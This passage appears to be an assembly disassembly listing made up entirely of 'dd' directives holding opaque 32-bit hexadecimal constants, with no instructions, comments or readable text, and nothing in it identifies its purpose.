		dd 4FA2F64Eh, 0FB38CE91h, 0CBA8C3Bh, 25E8B044h,	0E1DB7D2Eh
		dd 0F487834h, 0BC800373h, 1B0A3305h, 1775595Ch,	0CD5F17E4h
		dd 77319C88h, 238B26A4h, 0C540082Ah, 0EDA8FE89h, 8FA1AD28h
		dd 0E6F8087Ch, 22FC4A7Dh
		dd 98A848B0h, 12064B43h, 5F921944h, 5298BE84h, 6982F64Fh
		dd 8916559h, 5A42C4ACh,	1076477Bh, 73BB1003h, 40082088h
		dd 0C5A850C9h, 43D57C86h, 673EDA40h, 0C9544202h, 57689F1Dh
		dd 0C587A2C4h, 28A7AE9h, 8813A050h, 0E9125753h,	8C7C34D5h
		dd 0CF7942B8h, 808871ADh, 0E7903AACh, 0A349DA48h, 0AA75C384h
		dd 409C592Ch, 40656AE6h, 0CE4B86BAh, 0B4A5D18Bh, 63C68DC9h
		dd 0DC44644Ch, 9944E852h, 0FC14614Ah, 0E61C84C3h, 4857578Ah
		dd 947B4711h, 844B5265h, 924E7F0h, 7205505Fh, 84305018h
		dd 0EC355894h, 0A551040Dh, 86343C6Dh, 0CF7A0921h, 72477490h
		dd 0A1E7E010h, 4D0CE618h, 0ED410A21h, 0A1C7233Eh, 0D008E7F4h
		dd 0BEFFE76h, 4DC3F884h, 642F37A6h, 94EE1DD5h, 7D189208h
		dd 7EBFE78h, 581FE796h,	319C4BA8h, 0DB2A461Dh, 20E8B49Dh
		dd 0E9277B36h, 0A1D88294h, 77927F50h, 0D0FF7382h, 7186650h
		dd 0EBA7D468h, 0A1A8EE0Ch, 7CF90507h, 8AE0B614h, 0E986DB28h
		dd 0F4162D7Eh, 0A6B68CFh, 8E589032h, 452CE8DAh,	0C455E2D3h
		dd 0E268C314h, 1A415A43h, 0D6423AF0h, 0C7EF3C88h, 22CA37D0h
		dd 0C7D060C2h, 82E80A6Ah, 0A2CB735Ch, 361682CCh, 502E0856h
		dd 0E945C8Bh, 7CBAF89Fh, 44A43EC8h, 84945E17h, 9F0D220Ah
		dd 0C620D03Eh, 84E91A67h, 1BF31ADEh, 3E21D21h, 67CDA62Ch
		dd 0CF83323Bh, 29D51508h, 52DEFEE0h, 0C2955196h, 838442ACh
		dd 4E772954h, 0FBE0B5EFh, 5180471Fh, 0C73B0462h, 88830973h
		dd 574DE89Ch, 191375C3h, 8380168h, 13C2426Ch, 40CF7801h
		dd 0BB59D484h, 4202532Ch, 0C0E14A11h, 629E8DA3h, 0A466196Ch
		dd 0DC4C6829h, 12E3408h, 67E8276Ah, 2C1B2672h, 0AF633C28h
		dd 6C5253DDh, 0A1C22C11h, 0E90C5976h, 16DD902Dh, 0F4D421D7h
		dd 1A786562h, 6370E23Ah, 9D61F44Eh, 330DF55Ch, 601C6436h
		dd 589D8C5Dh, 1B0C740Dh, 0C5246856h, 977FF0E8h,	5888C5C5h
		dd 0E4F1C8F5h, 77103108h, 8AAD410Bh, 896F711Eh,	8A54986Ch
		dd 0D021F94Ch, 98EB88F4h, 87F554D0h, 10F56442h,	0C0945467h
		dd 2175865Ch, 9B09C1CCh, 62997676h, 0D454543Dh,	8DC1B078h
		dd 69586308h, 0CC2D18E4h, 82DB7BB6h, 14133E8h, 9C173AD5h
		dd 964BD5A8h, 9171CE52h, 8521E6B3h, 0AB946831h,	2B4F2DEBh
		dd 5C240666h, 836A8829h, 0F2622FA1h, 7AB12F57h,	1C0F2228h
		dd 0C2E91809h, 189E9755h, 0E6E939A6h, 84E4DB4Bh, 9D8808F4h
		dd 740BEA6Ch, 2FCB1C34h, 23E85629h, 488E7636h, 0E34A371Ah
		dd 0CC506AFEh, 0FC4C9959h, 42E69110h, 2F16E9ECh, 0BD16767Fh
		dd 238EE9FAh, 0F49EEAF0h, 8954DB65h, 45186068h,	0BA917556h
		dd 0B70425C4h, 0EAEC716Dh, 0E9E8100Ah, 0A15251DFh, 840EEAECh
		dd 1121EAF8h, 0A1B373DBh, 0D911C128h, 0C48A67DCh, 68060D85h
		dd 0F3F43710h, 0E9D24CF5h, 42CE9349h, 0F43C84D7h, 754DA82Ch
		dd 1438E2BDh, 1A8DC479h, 31871DC8h, 30A5CD68h, 7C4064BCh
		dd 0E02BCF7h, 345B4059h, 6EB44B4h, 0A510D9C6h, 21EC9F02h
		dd 71745408h, 6CB50128h, 0F442BC1Ch, 0C250388Fh, 1E40B161h
		dd 0D0F4BC21h, 2784F4CCh, 7C97287Ah, 8BC0B088h,	22764D86h
		dd 0F398EFCFh, 0D017198Bh, 17313F73h, 71CC55A3h, 0FFA5C528h
		dd 7A42BB35h, 0E463A9E8h, 0C46AB070h, 0CEBFEB7Fh, 52272D35h
		dd 3A314CB2h, 7273FCC4h, 0C0600222h, 14651656h,	0EB02495Eh
		dd 9950680Fh, 80140212h, 0E9FE6AEAh, 29D96320h,	88163868h
		dd 0B73E54ECh, 62A71B1Ch, 98DC9BD9h, 0FDE9FFC8h, 39042242h
		dd 0BFD909CAh, 0E9304012h, 0C2525D45h, 0AEE855F2h, 356A9E9h
		dd 71EAC416h, 42549348h, 507D2168h, 67897083h, 5827CB2Fh
		dd 0D8681B56h, 9C8ABE7h, 0E540E90Bh, 6A02D745h,	84BC6824h
		dd 2822AC18h, 84CCD29h,	6159716Ch, 0A3E533EEh, 0FA70C4D8h
		dd 9E143B8Ch, 17601824h, 0C1B7106Ah, 22787300h,	0D5117C9h
		dd 68E676B4h, 10DCEB16h, 744924A8h, 958E294Fh, 26127C82h
		dd 1C6DA4F8h, 0E05E2CDAh, 0B5F4F945h, 0A0FD6DCh, 0B44E720Eh
		dd 0AC6A1664h, 9C65271Fh, 0BF842133h, 7171D608h, 0AD370319h
		dd 7410FAB6h, 0F9DCA1FAh, 1146CD0Ch, 3AFA7484h,	16FA4278h
		dd 803AD791h, 13BF4811h, 33CFD959h, 4A201520h, 23664870h
		dd 153E18D9h, 0E406230Fh, 249484A1h, 0E3CE52Dh,	2B8F6628h
		dd 47E9F684h, 447E894h,	0F1B6E68h, 8A90BDB1h, 0EF03E80Dh
		dd 2DB70F8Ah, 0A6B116AEh, 0F14F6481h, 0E5881C21h, 37575970h
		dd 0BC5063E9h, 68B8452h, 31210620h, 10301069h, 0FA7F688h
		dd 0E503C250h, 88211E40h, 0F698D0F6h, 0D68B2184h, 88BEDCD0h
		dd 0F8D7D853h, 4111A2F6h, 17748478h, 309E62AAh,	2602118Bh
		dd 4C09F5F0h, 621DF7F1h, 0F56C8495h, 714A132Ch,	0A8396C72h
		dd 681DB132h, 0F4E797AEh, 0E7724CF9h, 0D0B8138Dh, 0A40D2AEFh
		dd 84020FC4h, 5CED29A8h, 1338CC12h, 1E22626Ah, 46E6833h
		dd 47F5EC21h, 1962A868h, 0EC21349Eh, 0F5FCD0F5h, 3AB52E84h
		dd 6C227482h, 3A8B2CBEh, 5D7BF86Ch, 1908C7B3h, 184E264Fh
		dd 3C9047BDh, 93AC15CBh, 0F04ADA5h, 3812237Bh, 14804F36h
		dd 60C8826Eh, 83003C7Ch, 377D03F8h, 0E620558Bh,	0E1C100C8h
		dd 111C3807h, 74E6348Dh, 30A11F5Ah, 1067DB3Eh, 88C06EF2h
		dd 38EDE91Eh, 3D8CF0AAh, 4564EBABh, 3D225410h, 779A127Dh
		dd 76B196B8h, 0C14F659Fh, 0A7B5E9E2h, 0ED537B71h, 0CC4172BBh
		dd 69E9C78Fh, 597C4D8Ch, 8E766478h, 8F8F8425h, 68A4E799h
		dd 0F4F5CE09h, 0C8F7D050h, 85214329h, 0A8397D75h, 0F748543h
		dd 75E761C3h, 0F618520Eh, 82FD9635h, 0F1765812h, 971DF127h
		dd 0C544B818h, 42F66B2Fh, 0E7DD1742h, 72306090h, 0B60F6CC1h
		dd 11461E85h, 291D4711h, 0D008281Ch, 0C680DF1h,	0E28689B3h
		dd 8015B6Dh, 0EB86F1D0h, 5A785690h, 7AD3F374h, 0E807752Eh
		dd 0EB14BC10h, 54D9891Ch, 0C7590073h, 919CA405h, 56A43D83h
		dd 0F5BC1491h, 266D9AE1h, 0DE092AB9h, 0BC10849Fh, 77757144h
		dd 9261EE46h, 0FA129D8Ah, 0EC1CC402h, 20548F6Eh, 9C830C09h
		dd 5989F252h, 0EB8C13FDh, 14118AA3h, 6E3AC5ECh,	353DE577h
		dd 29EBD27Bh, 0A0FC11B1h, 184AEED9h, 14152B4Ah,	21F29472h
		dd 2638BC74h, 871D26Dh,	3F656101h, 0EC340E67h, 12391556h
		dd 0D5493790h, 40B8A108h, 87EC1878h, 10EC2442h,	428736AFh
		dd 0F426BC34h, 0EF8FBDA7h, 746E1071h, 84BB4A1h,	0F415A320h
		dd 42869F2Ch, 6F442110h, 4408C8B0h, 8A2D2C2Fh, 149DAED5h
		dd 35182217h, 72F53D8Bh, 87DE765Fh, 13B1A2Fh, 16C64DFh
		dd 8185393h, 0EF92BB75h, 4A9C41CDh, 5C394075h, 6F748035h
		dd 3221E49Dh, 50AD6AE2h, 0F244B377h, 780EB1D4h,	2D5AAC08h
		dd 239086B3h, 3CD01CD0h, 0BBCC680Ah, 32AD1365h,	3E761478h
		dd 864DF0D6h, 0C8428984h, 0DD916622h, 2B6BC2ADh, 4EEDE154h
		dd 0D5D1892Fh, 0F45257C4h, 0FC21FA31h, 1A06AF0Ch, 94717826h
		dd 2D2F1EEDh, 688518A3h, 2C2F51EFh, 0B6CB3F6Bh,	2B2A221Fh
		dd 84B0106Ch, 237F72FAh, 0B4100857h, 0FF290C44h, 9C212BFCh
		dd 706AC088h, 908529B6h, 558E8898h, 6230EB08h, 0A010B914h
		dd 0FEFF8E70h, 0C8889015h, 0E4A7954h, 22108021h, 87F23AAh
		dd 3444B210h, 2BFCFF29h, 0A1B87421h, 28DEC269h,	116C4216h
		dd 2CC971B6h, 7442E679h, 1557C521h, 0A9213F64h,	10329FE4h
		dd 77085C11h, 3254448Fh
		dd 60431E6Ah, 38444888h, 2873128h, 76386826h, 0AD5B7554h
		dd 79264448h, 21C24E1Ch, 70F40834h, 9C3966E1h, 5D58740Ch
		dd 3B41A323h, 4530596Fh, 3FB9990Dh, 180F4238h, 4C8AF9F7h
		dd 225281E8h, 672C8820h, 9FE8BC8h, 536338CDh, 33248Bh
		dd 0A37928C5h, 0DCBD2752h, 707B0BA1h, 3679F694h, 7F7D1A82h
		dd 0ACB6A10Fh, 476CA540h, 914BA562h, 0D1209058h, 473246F0h
		dd 2C3629F0h, 14332C64h, 29257EC3h, 5030E699h, 0A5D7C1F9h
		dd 67E8CF63h, 8626F570h, 37A947F0h, 6D450A84h, 73902527h
		dd 593CC38Ah, 0AD140CB9h, 10632127h, 3892F29Ch,	708467E4h
		dd 605185C8h, 2956230Fh, 10C23A4Dh, 83A36F2Eh, 48742C84h
		dd 77A1CA7Ah, 0ED7B0867h, 29523F0Eh, 5FE40E6Dh,	908D516Ch
		dd 8164F443h, 0EC10028Bh, 66C685BAh, 42BC9A38h,	8242125h
		dd 9488BAE4h, 14EB516Eh, 0A14AA88Bh, 0BC09C2A7h, 477F522Ah
		dd 18B175C8h, 0BE08FB44h, 0DA502849h, 4561451Eh, 42332C4Ch
		dd 84502549h, 14216694h, 46181D05h, 4B598978h, 78088844h
		dd 0F58C24FEh, 1FFBF40Ch, 0C4503423h, 0BA118765h, 0DC880294h
		dd 326D9242h, 0F81B227Fh, 0ED2284E7h, 0DFA94D7h, 7D794768h
		dd 0C473210Fh, 3A4B22D8h, 2CFC498Fh, 0C2CB7930h, 4B32141Fh
		dd 193228B2h, 30654020h, 6B22629h, 0FC2C2C96h, 4EC23023h
		dd 368A3665h, 0CA786251h, 0C0148764h, 6412C83Ch, 8EC82A84h
		dd 8198479h, 2184D0EFh,	52F66C5Ch, 39C84B43h, 2174EF68h
		dd 1714BAC0h, 0B80DB22Ch, 0A5645FB3h, 3C1052EFh, 88763DBh
		dd 23C422D1h, 64158432h, 8C953C9Fh, 0B842EF84h,	0A76B6D10h
		dd 0F3F2300Fh, 4B54941Fh, 10194AB2h, 0A421725Ah, 23F22D90h
		dd 75DB401Ah, 681FB363h, 518CD15Eh, 0E62F637h, 8821EC11h
		dd 7443F43Eh, 0B5E4BF21h, 0C4150772h, 8C7E3C88h, 704217A4h
		dd 0A76A5610h, 0F602D128h, 4B3D141Fh, 9D3233B2h, 27161417h
		dd 0C1330CB2h, 0A95B625Eh, 0DAB1C556h, 0D0100E61h, 2215DE20h
		dd 8660FC3Ch, 94C89E43h, 9761E6E2h, 3C624478h, 26A48C58h
		dd 30115442h, 33758469h, 28C9F2F2h, 543ECCEFh, 90871C46h
		dd 0C828E112h, 8ABCEA13h, 0B33106Ch, 46CCBF06h,	7F053E4Dh
		dd 0D7501FCh, 76574EAFh, 8D51508Bh, 10C78185h, 0E9DBE8E1h
		dd 3E8BADECh, 0DA59DF7Ch, 0F40B0409h, 0A8BAE585h, 0EC9CF3C7h
		dd 0AE5E930h, 768B10CBh, 1019256Fh, 0E4665984h,	0D5BC3F62h
		dd 6F101548h, 791A4DB2h, 155A155Ch, 0C6511C8h, 58452A08h
		dd 42843EFCh, 6530215Ch, 8154AC7h, 0B21B102Ah, 420419B2h
		dd 43160615h, 0C9CC1161h, 0A267F110h, 0B9F8184Ch, 100BDC89h
		dd 20843D37h, 59C748CEh, 0A1F00C22h, 100BB22Ah,	0EC8A3C5Fh
		dd 0B29D1015h, 8E0194Ah, 0E3888588h, 22D8443Bh,	0CE431673h
		dd 5E10D021h, 0CC19A0B2h, 90854908h, 44C4C88Bh,	86482C34h
		dd 851F08F5h, 64C43390h, 5B0A4897h, 82BC32C4h, 1466F52Ah
		dd 143AEC21h, 0E02115B8h, 0B4326C64h, 210BCB11h, 88A89057h
		dd 0C1259B6h, 0A14284A4h, 2239FDC4h, 0B8C119Ch,	98908921h
		dd 74597788h, 4284900Ch, 6423C862h, 164D228Ch, 50110E43h
		dd 673821BDh, 8845B81Ah, 59232A08h, 80155205h, 100B0E11h
		dd 7C8837CEh, 1465F942h, 84740CFDh, 0B0C4E442h,	11702236h
		dd 9B210BCFh, 0BA21C2B8h, 60324F64h, 210BA511h,	885C903Ah
		dd 35BB5890h, 21584284h, 32A6647Bh, 0B66114Ch, 48901421h
		dd 0FF585188h, 40428434h, 8B4E3C21h, 69B37C3Dh,	1017E288h
		dd 84ECB325h, 0E8206A00h, 38BF57E2h, 88B91CA0h,	0D6821399h
		dd 4EE52793h, 73F13C0Bh, 5AC3BC93h, 178090C9h, 5CBE1C75h
		dd 4E974291h, 64CF2EDAh, 8B06E261h, 26BFD7Ch, 7CF14044h
		dd 5DC15052h, 900C1C97h, 69B85CFFh, 0BC5CB384h,	220B24Dh
		dd 0A1DC5514h, 14F1C0C2h, 10863C7Ah, 0F1411FD5h, 0C80EF1C0h
		dd 266542F1h, 1AB8911Dh, 0C542EDAAh, 642288C8h,	5365245Bh
		dd 56918804h, 7E5C682Dh, 4274810Bh, 5C2A7A30h, 89240A20h
		dd 716F5212h, 0EC63EA10h, 0C96346D3h, 56CE0421h, 2028528Ah
		dd 5A474542h, 0F0141152h, 0B3309CCFh, 102ADCA0h, 18AC637Dh
		dd 6FC4F042h, 42F0685Ch, 5B6110B7h, 0C20721E2h,	0F098E2C8h
		dd 18EAFB14h, 88D2660h,	2174F098h, 1308F0A4h, 0B4227425h
		dd 0EC5821B7h, 1462D0E2h, 2824E121h, 553F2404h,	30047A52h
		dd 44945E28h, 0F137270Ah, 0E23C1EBAh, 74389857h, 0CA5223E1h
		dd 75621781h, 0C7C05D73h, 0A0995542h, 0F90B3E68h, 42A6F910h
		dd 6A10B6F0h, 210875Ah,	0EE52CB12h, 1ECED029h, 5B97ED86h
		dd 0F9EA6DD4h, 0D5711424h, 8311B6BCh, 0FB100FEBh, 1A0CA261h
		dd 546A8B0Eh, 428471D5h, 4A2F5330h, 620B0A64h, 0DCCD1B10h
		dd 0E438C34Ah, 2827DA68h, 0BF3617ACh, 32394554h, 57314974h
		dd 2B1B0042h, 76BB3AFAh, 42962CF4h, 0E83A7523h,	1888C3F4h
		dd 22EADD42h, 0A82EB5ECh, 1F45310Fh, 638A2B54h,	8AD61640h
		dd 0A750714Bh, 0F34CA4FDh, 1457CC6Dh, 0E8F4402Ch, 0E5E2753h
		dd 0C4C70C75h, 18FCF430h, 0FC09EBC4h, 4B0F9044h, 8D22DE2h
		dd 0F170588Ch, 0AC628560h, 0E32316F3h, 0B5A84259h, 8758D510h
		dd 36112310h, 0F3A8C451h, 0CF5A428h, 841C46F4h,	103AF3A8h
		dd 8784F434h, 6C113A22h, 41CC39B5h, 22EE7471h, 0A33B6046h
		dd 0E88D4B3Bh, 1274C6CAh, 502C4210h, 32843020h,	5D352587h
		dd 0CA0AE35Dh, 0BC8B020Ch, 5D2F97CCh, 0E5E6008h, 6A22BF57h
		dd 5C295892h, 95483A2Ah, 0F01156D0h, 3A75865Fh,	2E0A604Bh
		dd 0E9036A08h, 3CB79270h, 28B62172h, 42D14EB6h,	0F41F2204h
		dd 15B464E4h, 3E4D5015h, 85A3C4DCh, 0A490714h, 1A4CEB04h
		dd 8988D410h, 42EB05D8h, 11C82132h, 0EB06B06Fh,	0D968418h
		dd 1A625545h, 0E8E01317h, 21DF2596h, 855D59A5h,	220B97E9h
		dd 2B11C078h, 0C5522A0Ah, 0F8F3214Bh, 53061A78h, 2426A57h
		dd 0FC6F6E55h, 292D2FE8h, 0BD7B2BC6h, 21B9DDADh, 0C410102Bh
		dd 0D15CB49Ch, 1E7C2124h, 0FC08A338h, 5EC68896h, 47CB78E6h
		dd 4B122947h, 209A71C8h, 0D7B25D25h, 1B386D42h,	56500574h
		dd 469EB82h, 0BC6C8545h, 77187149h, 8B3C2E12h, 0C430D221h
		dd 23B7215Ch, 0AD113C12h, 0F63431EAh, 2A283B24h, 434E1C89h
		dd 4061F45Eh, 10043342h, 0EFED2E9h, 223DF468h, 64909070h
		dd 536615B3h, 88B8A7C7h, 79505DF6h, 0E850842Bh,	9085E115h
		dd 44E0C864h, 425B2CCCh, 10DC212Ah, 2946B2B7h, 8F016C3Ah
		dd 8A247D89h, 8DBBBF24h, 0FB841044h, 598E2908h,	17081403h
		dd 2C7744D0h, 212946ECh, 0B26010C4h, 22E43B92h,	7B471649h
		dd 3210B821h, 51EB28B7h, 171B154Bh, 6228F8C4h, 42E84B0h
		dd 17A6742Ch, 0ED10AC42h, 395DA25Ch, 85D608A4h,	0C427E288h
		dd 16BF22A0h, 0C84FCB47h, 17AEA87Ah, 9C287847h,	0C891422Eh
		dd 894E561h, 0DB587A17h, 90428C26h, 0C4646321h,	4C118872h
		dd 0BC27230Bh, 643521C2h, 117C7210h, 89110B1Eh,	44788825h
		dd 8E722C07h, 0F0107042h, 3935A25Bh, 85D9086Ch,	64C81E91h
		dd 0A32CC244h, 60212446h, 8CB2AB10h, 94085839h,	23A08885h
		dd 7D2254C4h, 21894716h, 0B166104Ch, 48182277h,	0C84F4284h
		dd 2240E460h, 45231638h, 9F3C1021h, 722E6421h, 0B0A1134h
		dd 88207811h, 5AF34230h, 21614714h, 0B1DC1024h,	1C181EB9h
		dd 0C8C54284h, 2214E4A2h
		dd 0F82316AEh, 2142391Dh, 72E16497h, 0B801104h,	9C1CBB11h
		dd 0B2691021h, 0B2F838A4h, 230B5289h, 88F49016h, 1BFF583Bh
		dd 21E8428Ch, 1AEB6224h, 0D08E031h, 4AD49185h, 0A84B27CAh
		dd 0B81585DDh, 0A0D8AA98h, 8559E429h, 4019C30Ah, 0CD22D444h
		dd 1CAC17B9h, 0B64284C8h, 62189CC4h, 0B9F11BCh,	0B0428E75h
		dd 6E648821h, 7111A472h, 0CD4B740Ah, 848F32E9h,	565E1230h
		dd 0D44921ABh, 91B0044Eh, 0E2CE4F04h, 0EC629D5h, 0A84A8411h
		dd 1EB68A2Bh, 76EBCF64h, 0A345263Dh, 0D95C8D3Eh, 4B8C1375h
		dd 13AB7237h, 887286D5h, 61B5EC21h, 7FE8C380h, 20B73949h
		dd 0CF84213Ch, 18CD8042h, 88D46CEh, 2174CF84h, 0A53ECF90h
		dd 78B271D5h, 0BB88B264h, 105793D5h, 0D08D8E58h, 18168BA1h
		dd 76578454h, 90742317h, 535F884Ch, 1238B9A7h, 8885C95Ch
		dd 0DC624DC2h, 48B419C9h, 0CA495C0Eh, 1EA4CA12h, 128ECA64h
		dd 0FD4D9113h, 183089DCh, 0AACB6012h, 1F16792Bh, 426E2764h
		dd 16155748h, 1FCCC958h, 44B25B1Ch, 384FF179h, 48528010h
		dd 21186C9Fh, 5842CB5Ch, 362618C9h, 0CB5C088Dh,	0CB682174h
		dd 19F89016h, 0B118A24Fh, 6611B1E0h, 7D6D3709h,	85576088h
		dd 0C5147608h, 491708CCh, 0C41C5F59h, 0C4324284h, 0BC62130Ah
		dd 110B1B11h, 0B08812F3h, 0DF2C0444h, 0AC211146h, 5156ED08h
		dd 84A41CC8h, 0BEC4D642h, 11A06210h, 0A7230BBFh, 0A8889490h
		dd 31CE8B59h, 8591088Ch, 80C87491h, 652C7A44h, 7C210E46h
		dd 4EB26310h, 35448B20h, 10A7B180h, 0B46E1120h,	1026708Ah
		dd 0D22B13Dh, 1790B329h, 0B642621h, 0FC136472h,	8462D2Ch
		dd 0F8086021h, 1C165155h, 0E1428454h, 6206B6C4h, 0BCA1150h
		dd 4C909F23h, 8859B388h, 4284441Ch, 563C49Ch, 85114062h
		dd 904C230Bh, 586E8834h, 428C040Bh, 6257212Ch, 283103F4h
		dd 91854008h, 441CC8DDh, 461D2C29h, 10182102h, 3B06B212h
		dd 54FB2194h, 0E697D11Dh, 92B1811h, 2856B841h, 570E5344h
		dd 6C4BE5C7h, 7A90082Bh, 0BE7831C4h, 242C0A22h,	0BA1FC820h
		dd 0B52FB42h, 7E6B56F9h, 1326421Ah, 42415006h, 9ADB22BDh
		dd 0AA1FC873h, 4F7F689Fh, 68D037E9h, 0B6B21ADBh, 6A98DD09h
		dd 0F19DF88Bh, 0F686A26Ch, 0C76606F0h, 42FCE485h, 47D9AC83h
		dd 0A4AFB0Ch, 0D3E809F0h, 0F577BB1Fh, 861BE6D6h, 859A8E64h
		dd 15BA140Eh, 9C08A6F2h, 0CC21B016h, 8C484C25h,	5909821Ch
		dd 0B9DDCE89h, 4D6EBFBDh, 0E655536Ch, 2BCD4BE4h, 0F08C74Ch
		dd 4A6AC453h, 34219443h, 841D0848h, 0F3CE2DA3h,	74F4A2ECh
		dd 0B023C281h, 2DEF165Dh, 40DB4BABh, 862D76F0h,	2C569AB0h
		dd 0E49E1633h, 0C604F0FDh, 0D8B181E9h, 0B04498F0h, 1653464Dh
		dd 29891774h, 3A3A1302h, 5A8C182h, 74A7812Ah, 810844D6h
		dd 6A4A29BCh, 182717A3h, 72E3C3DBh, 3C058493h, 0BEE7CCD3h
		dd 20D1C6B7h, 5665ECACh, 0A810FDEAh, 1825DF0Dh,	0B752DC9Ah
		dd 3856CDCEh, 768C2818h, 0A52C423h, 0C4172174h,	14AD2284h
		dd 0B0D341B7h, 54663112h, 49CD2050h, 0A076E497h, 80EDB4B7h
		dd 154C8E0Fh, 7731A46Bh, 632B4B86h, 21322C5Dh, 6C752357h
		dd 0D966F077h, 16B06A71h, 0A4105B3Eh, 328A12C7h, 0EA0CDFC9h
		dd 5D8AB834h, 16281391h, 4F52FF7Fh, 0EA922B37h,	0B8DC825Fh
		dd 52BC11EDh, 0C006F828h, 50B82A13h, 0D3E1979Bh, 2C0FAB48h
		dd 685221A5h, 9E3AB014h, 4AEF10DDh, 560214E2h, 67B0DF42h
		dd 885EDACh, 3561EC28h,	6B0F413Eh, 88FC973Eh, 0A742EDC4h
		dd 0DC081D13h, 0DAEC8CAFh, 33F5A4F3h, 0FD768A35h, 189454A7h
		dd 1D396774h, 0DBC6244Ah, 103207Eh, 7F6AC888h, 0CF71197h
		dd 864723Bh, 42746C2Ch,	46AA16EFh, 482DB821h, 0F46F8518h
		dd 0E1FCA2Bh, 0F8212090h, 846C1111h, 758AFC1Ah,	0EEF41AB8h
		dd 146E3CA1h, 241523EBh, 0EEF03C15h, 13489A54h,	0E37A5B2Ah
		dd 0B1F48F02h, 84AF5C10h, 163848CEh, 84412F80h,	0D90485C9h
		dd 0EE284F93h, 34328462h, 10B20443h, 87128018h,	23AF2442h
		dd 0F373D9C5h, 20CA014Eh, 88840C29h, 642745B4h,	5E575884h
		dd 8F690A4h, 0AE51D068h, 0FB0D441Dh, 4170A33Eh,	2067232Ah
		dd 0D08B1C3Fh, 9BFADE57h, 791E155Ch, 5295F803h,	4510220Ah
		dd 0F445DC48h, 4406F5B9h, 459E0738h, 40E10258h,	258625Fh
		dd 2246C33Ch, 0DE64247Dh, 0F81C452Fh, 777E327Eh, 5164142Ch
		dd 0CFD4E83Bh, 0F83B86E3h, 742434E1h, 0DD44A611h, 6F4EF02Fh
		dd 5258068Bh, 0EB10DA7Ch, 0FC2C5358h, 0A3AE17D7h, 296FC42Dh
		dd 21C6DD62h, 0D6DD245Eh, 4367C60Ch, 0A53AF247h, 5DC22035h
		dd 0A4394024h, 8531BD01h, 0EB698930h, 232C9CA6h, 989EF39Ch
		dd 0E1041F61h, 4E447E08h, 84E24688h, 45882EF3h,	0E0888E5h
		dd 598B97E5h, 3F18C054h, 298CC24Dh, 90560FF8h, 4F2FD3F3h
		dd 0A8F690CEh, 5A08D099h, 0D1F2B122h, 4422626Fh, 6C78FE9Ah
		dd 6EB46E84h, 43831E22h, 91880C22h, 0D884674Ch,	0E5213CACh
		dd 58468208h, 1EC4176Ah, 4CDC3EE3h, 84F34294h, 1031F280h
		dd 3E6B1A34h, 215ED87Ch, 0B0F0F3A0h, 110887ADh,	0F63B7146h
		dd 1C863D4Ch, 5613CA8Ch, 0DDC510E9h, 9F9A04BBh,	2F570940h
		dd 44D124CAh, 0C2E210C9h, 8112FD9Bh, 269CCEC1h,	0C870CAADh
		dd 4745BA62h, 278DE2ADh, 7D54921Ah, 0ABA03068h,	286EDE94h
		dd 4D6F89ADh, 495A8CCEh, 41049392h, 85C7F568h, 0B751247h
		dd 94868C3h, 19B7E947h,	0B65BBCD6h, 625976C9h, 96A0DACh
		dd 52AC695Fh, 0C42A0F1h, 17943163h, 55E7B9A2h, 89028F92h
		dd 5205AE08h, 0D11648EBh, 0A338680Ah, 11501764h, 856E34C8h
		dd 9B240141h, 812C68F4h, 569A5206h, 716A1F51h, 62262422h
		dd 2C471E4Ah, 0A83CAF82h, 0B14C402Ch, 8B34410h,	44BF2586h
		dd 1404CD32h, 0DAB9753h, 0A6257A2Fh, 0B5A0AF44h, 0D340DFE2h
		dd 86E0B756h, 589ACD8h,	0F84A8DDh, 0E74489E8h, 2654E122h
		dd 1C629A7Eh, 0BE2BDD7Fh, 1CC728A8h, 0F109F4CDh, 2F09AD96h
		dd 973868C2h, 42948AE8h, 0E1D9EB0Dh, 0C6381DE9h, 92B15726h
		dd 0C90097FCh, 42A8F0B9h, 9929030Eh, 663505A6h,	9732387h
		dd 2758A56Ah, 593C900Bh, 764CC13Bh, 0D8D28E0h, 0D788C794h
		dd 0B2422642h, 0A5FFB81Dh, 0B4D391Ch, 14084459h, 0AC8D3F83h
		dd 9656F2DFh, 3D740A42h, 0FF0A8DBFh, 9134887Fh,	28884B43h
		dd 0C827E4C4h, 36FCAC42h, 8284907Fh, 3382DF06h,	0E724AC74h
		dd 7CB092EBh, 5774356Ah, 30740800h, 0EA233F80h,	7FECBA2Bh
		dd 6498BE7Ch, 853F9744h, 3709AE78h, 0B5B0C44Ah,	8643BEBh
		dd 0E947BCAEh, 6A020DDAh, 647513CCh, 2202101Ah,	0B24A7112h
		dd 8A1140BBh, 9748FE15h, 8808E730h, 10AEF06Fh, 0BB9DFD0Ch
		dd 0FB7CC443h, 23402321h, 17684257h, 0A2FC5474h, 4B2808B9h
		dd 66474841h, 0A1FD77BEh, 18FB7CB1h, 0D748472Dh, 0FC2D99FCh
		dd 78B2D16Ch, 1CFF0C82h, 8E8C7FB3h, 7D8EB479h, 8C8885B8h
		dd 1BE841FBh, 2DD17343h, 2F75D988h, 213CA2F1h, 430288FCh
		dd 55722BC6h, 80D08808h, 75230F38h, 0DFE25003h,	23DC54BEh
		dd 8E49CE58h, 9D88C809h, 0BCA3190Ch, 0C76CFE15h, 10FC42A8h
		dd 988FFB7Ch, 6948A90h,	0E25F9091h, 0ABD884C7h,	1B419521h
		dd 0C439F611h, 7C28FC9Ch, 3EF6FB42h, 215E3996h,	4708FCC0h
		dd 66B0740Bh, 0A73D3996h, 62F4DED2h, 0C8E43392h, 0B7208537h
		dd 0CE4006C2h, 0E10500Bh
		dd 623F4AF8h, 0E8414FBh, 0BE1757EAh, 18B338F8h,	90932D40h
		dd 0B519FA63h, 0B20D408Ch, 8901E23Eh, 65552F1Ch, 28BD146Eh
		dd 653DD0F5h, 0C4A2C5Ah, 18900610h, 144920C8h, 0F106A625h
		dd 40468F0Ch, 0A638F0C4h, 0FB1C10F3h, 0CFA8CA1h, 0B934B059h
		dd 4E3ECDF3h, 0FB308406h, 2FC55621h, 14118F2Fh,	0C52C12ABh
		dd 0AB0C0662h, 0CF9855DEh, 98343859h, 13E87D88h, 32EC1F2Dh
		dd 8113CB69h, 137514Bh,	95DE8A7Ch, 10100A47h, 9C3D2203h
		dd 408440Bh, 4D040230h,	46142340h, 560AC048h, 62D30868h
		dd 4C663FBCh, 7F2DE1BAh, 0E8EB901Fh, 0B23E5B9Ch, 8E0F0AD0h
		dd 8B64116Eh, 40A3D4Eh,	8D0F8280h, 14DD1F5Ah, 71E88244h
		dd 3E6D0A3Ch, 0B0F95B9Fh, 54E8107Ch, 5738A421h,	0C46F1A53h
		dd 70B880C1h, 733894E3h, 85CA7AF2h, 34101F56h, 490559B1h
